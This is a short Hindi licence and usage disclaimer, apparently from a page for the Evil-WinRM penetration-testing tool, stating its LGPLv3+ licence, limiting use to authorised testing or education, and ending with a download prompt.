यह स्क्रिप्ट LGPLv3+ के तहत लाइसेंस प्राप्त है। सीधा लिंक License।

Evil-WinRM का उपयोग केवल अधिकृत पेनेट्रेशन टेस्टिंग और/या गैर-लाभकारी शैक्षिक उद्देश्यों के लिए किया जाना चाहिए। इस सॉफ़्टवेयर के किसी भी दुरुपयोग की ज़िम्मेदारी लेखक या किसी अन्य सहयोगी की नहीं होगी। इसे अपने स्वयं के सर्वर पर और/या सर्वर मालिक की अनुमति से उपयोग करें।

टूल डाउनलोड करें